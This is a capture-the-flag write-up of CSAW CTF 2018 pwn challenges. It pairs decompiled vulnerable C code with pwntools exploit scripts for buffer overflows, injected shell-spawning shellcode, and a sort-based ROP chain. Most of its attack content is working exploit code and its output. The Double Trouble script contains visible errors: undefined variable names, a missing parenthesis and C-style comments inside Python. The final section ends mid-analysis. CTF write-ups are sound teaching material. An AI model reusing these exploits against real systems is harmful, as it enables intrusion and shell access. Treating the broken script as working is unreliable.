CSAW CTF 2018

Pwn

The following two challenges are so easy that I won’t explain.

boi

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v5; // [rsp+18h] [rbp-28h]
  __int64 v6; // [rsp+20h] [rbp-20h]
  int v7; // [rsp+28h] [rbp-18h]
  unsigned __int64 v8; // [rsp+38h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  buf = 0LL;
  v5 = 0LL;
  v6 = 0LL;
  v7 = 0;
  HIDWORD(v6) = -559038737;
  puts("Are you a big boiiiii??");
  read(0, &buf, 0x18uLL);
  if ( HIDWORD(v6) == -889996562 )
    run_cmd("/bin/bash");
  else
    run_cmd("/bin/date");
  return 0;
}
from pwn import *

p = remote("pwn.chal.csaw.io", 9000)
p.recvuntil("?")
offset = "ABCDEFGHIJKLMNOPQRST"
p.sendline(offset + p32(0xcaf3baee))
p.interactive()

get it

from pwn import *

p = process("./get_it")

payload = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA12345678"
payload += p64(0x4005b6)

p.sendline(payload)
p.interactive()
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+10h] [rbp-20h]

  puts("Do you gets it??");
  gets((__int64)&v4);
  return 0;
}

shell->code

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  puts("Linked lists are great! \nThey let you chain pieces of data together.\n");
  nononode();
  return 0;
}
int nononode()
{
  char v1; // [rsp+0h] [rbp-40h]
  __int64 node2; // [rsp+8h] [rbp-38h]
  char *node1_pointer; // [rsp+20h] [rbp-20h]
  __int64 node1; // [rsp+28h] [rbp-18h]

  node1_pointer = &v1;
  puts("(15 bytes) Text for node 1:  ");
  readline((char *)&node1, 0xFuLL);
  puts("(15 bytes) Text for node 2: ");
  readline((char *)&node2, 0xFuLL);
  puts("node1: ");
  printNode(&node1_pointer);
  return goodbye();
}
int goodbye()
{
  char overflow; // [rsp+Dh] [rbp-3h]

  puts("What are your initials?");
  fgets(&overflow, 32, stdin);
  return printf("Thanks %s\n", &overflow);
}

This challenge tests our ability to write shellcode. There’s nothing special except:

__int64 node2; // [rsp+8h] [rbp-38h]
char *node1_pointer; // [rsp+20h] [rbp-20h]
__int64 node1; // [rsp+28h] [rbp-18h]

which means that there’s a gap between out shellcode. Bypass it via jmp.

from pwn import *

p = process("./shellpointcode")


shellcode1 = "\x31\xf6\x90\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\xeb\x11"
shellcode2 = "\xf7\xe6\x50\x53\x54\x5f\xb0\x3b\x0f\x05"



p.sendlineafter(":", shellcode2)
p.sendlineafter(":", shellcode1)
p.recvuntil(": \n")
leak = p.recvline().split(": ")[1][:-1]
leak = int(leak, 16) + 8
print hex(leak)

offset = "1234567890A"
gdb.attach(p)
p.sendlineafter("?", offset + p64(leak))

p.interactive()

Double Trouble

Program Overview:

int game()
{
  int v0; // esi
  long double _sum; // fst7
  long double _max; // fst7
  long double _min; // fst7
  int _index; // eax
  int _max_try; // [esp+Ch] [ebp-21Ch]
  int i; // [esp+10h] [ebp-218h]
  char *s; // [esp+14h] [ebp-214h]
  double _array[64]; // [esp+18h] [ebp-210h]
  unsigned int v10; // [esp+21Ch] [ebp-Ch]

  v10 = __readgsdword(0x14u);
  printf("%p\n", _array);
  printf("How long: ");
  __isoc99_scanf((int)"%d", (int)&_max_try);
  getchar();
  if ( _max_try > 64 )
  {
    printf("Flag: hahahano. But system is at %d", &system);
    exit(1);
  }
  i = 0;
  while ( i < _max_try )
  {
    s = (char *)malloc(0x64u);
    printf("Give me: ");
    fgets(s, 100, stdin);
    v0 = i++;
    _array[v0] = atof(s);
  }
  printArray(&_max_try, (int)_array);
  _sum = sumArray(&_max_try, _array);
  printf("Sum: %f\n", (double)_sum);
  _max = maxArray(&_max_try, _array);
  printf("Max: %f\n", (double)_max);
  _min = minArray(&_max_try, _array);
  printf("Min: %f\n", (double)_min);
  _index = findArray(&_max_try, (int)_array, -100.0, -10.0);
  printf("My favorite number you entered is: %f\n", _array[_index]);
  sortArray(&_max_try, (int)_array);
  puts("Sorted Array:");
  return printArray(&_max_try, (int)_array);
}

Here, we input a series of float. And then, the program will store them in an array and index them. The bug is in:

int __cdecl findArray(int *max_try, int array, double v_negative100, double v_negative10)
{
  int index; // [esp+1Ch] [ebp-4h]

  index = *max_try;
  while ( *max_try < 2 * index )
  {
    if ( *(double *)(8 * (*max_try - index) + array) > (long double)v_negative100
      && v_negative10 > (long double)*(double *)(8 * (*max_try - index) + array) )
    {
      return *max_try - index;
    }
    *max_try += (int)&GLOBAL_OFFSET_TABLE_ - 134529023;
  }
  *max_try = index;
  return 0;
}

At line *max_try = index;, if we trigger some conditions (number smaller than -10 or bigger than -100), we can overwrite the index to a bigger value (*max_try = index; will not restore the max_try since the function returns). Then, the ret address can be written to our ROP chain. Since stack address is leaked and RWX, we can redirect EIP to the shellcode address.

0xff95a298
How long: 4
Give me: 100
Give me: 0
Give me: -12
Give me: -20
0:1.000000e+02
1:0.000000e+00
2:-1.200000e+01
3:-2.000000e+01
Sum: 68.000000
Max: 100.000000
Min: -20.000000
My favorite number you entered is: -12.000000
Sorted Array:
0:-2.000000e+01
1:-1.200000e+01
2:0.000000e+00
3:0.000000e+00
4:4.854027e-270
5:1.000000e+02

If we trigger the bug when how long equals to 64, the program will report that the stack is smashed. Since the ret address is 24 bytes away from our array, we need to extend our array by three (one double uses 8 bytes). During sorting, the stack address will be sorted to extremely top since it’s always begin with 7f or ff. Thus, we have to jump to a ret in the program. The lower part of a double number can be used as stack return address:

+-------------+  a double value   +----------+
|          e.g. 0x1234123443214321           |
+-------------------+-------------------+----+
|  higher 4 bytes   |     lower 4 bytes      |
+--------------------------------------------+
|  ret address      |     ret address2       |
+-------------------+----- ------------------+
// We can controll the first 8 bytes to be a relative large number to make the value stay at the last of our array

After poping EAX to stack address, we can execute shellcode. Since system and /bin/sh is already in the binary, we can simply call system address and use the /bin/sh as address. The problem is the array will switch the stack cookie, how can we make sure we can pass the security shellcode. First, we need to make our shellcode extremely small to stay at the top of the array. Thus, we appends \xfe and \xfc at the beginning. Our shellcode will do a jump to skip the \xfe and \xfc header to perform a proper execution.

And the remaining padding, we need to make sure it is as small as possible, but larger than shellcode. Thus, we use 0xf800000000000000 as our value. After sorting, we can trigger the ROP chain. Since canary is random, the exploit might fail several times.

Exploit:

from pwn import *
from struct import *
import re
import base64

context.arch = 'i386'

// A function to convert our data to double format
def d64(double):
	return "%.20g" % unpack("<d", double)[0]


r = process("doubletrouble")
r.recvuntil("0x")
stack_addr = int(r.recv(8), 16)

r.sendlineafter("long: ", str(64))
pad = d64(p64(0xf800000000000000))
jmp = 0x080498A4ffffffff  # ret gadget
jmp2 = 0x0806000000000000 + stack  # addr of shellcode

shellcode1 = d64(asm("push 0x804A12D; jmp $+3").ljust(8, '\xfe'))
shellcode2 = d64(asm("call dword ptr [0x804BFF0]").ljust(8, '\xfc'))

r.sendline(shellcode1)
r.sendline(shellcode2)
for i in range(0, 2):
    r.sendline(pad)

r.sendline(str(-99))
r.sendline(d64(p64(jmp1))
r.sendline(d64(p64(jmp2)))

for i in range(0, 64 - 7):
    r.sendline(pad)

r.interactive()

Alien Invasion

Program Overview:

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  dojo();
  saved_malloc_hook = _malloc_hook;
  saved_free_hook = _free_hook;
  hatchery();
  invasion();
}

It’s a classic heap challenge. Here, we have three functions. dojo() allows us to add and free samurai. hatchery is for adding, renaming, and deleting structure alien. invasion compares alien and samurai, however, it does not play an important role in our exploit.

The vulnerability is here:

unsigned __int64 new_alien()
{
  void **_alien; // ST18_8
  __int64 v1; // rax
  unsigned __int64 size; // [rsp+10h] [rbp-30h]
  char s; // [rsp+20h] [rbp-20h]
  unsigned __int64 v5; // [rsp+38h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  if ( (unsigned __int64)alien_index <= 0xC7 )
  {
    if ( _malloc_hook == saved_malloc_hook )
    {
      puts("How long is my name?");
      fgets(&s, 24, stdin);
      size = strtoul(&s, 0LL, 0);
      if ( size > 7 )
      {
        _alien = (void **)malloc(0x10uLL);
        _alien[1] = &qword_100;
        *_alien = malloc(size);
        puts("What is my name?");
        *((_BYTE *)*_alien + (signed int)read(0, *_alien, size)) = 0;
        v1 = alien_index++;
        aliens[v1] = _alien;
      }
      else
      {
        puts("Too short!");
      }
    }
    else
    {
      puts("WHOOOOOOOOOAAAAA");
    }
  }
  else
  {
    puts("Our mothership is too full!\n We require more overlords.");
  }
  return __readfsqword(0x28u) ^ v5;
}

In line *((_BYTE *)*_alien + (signed int)read(0, *_alien, size)) = 0;, we have a null byte off by one. Since

if ( _free_hook == saved_free_hook )

We cannot overwrite the free_hook.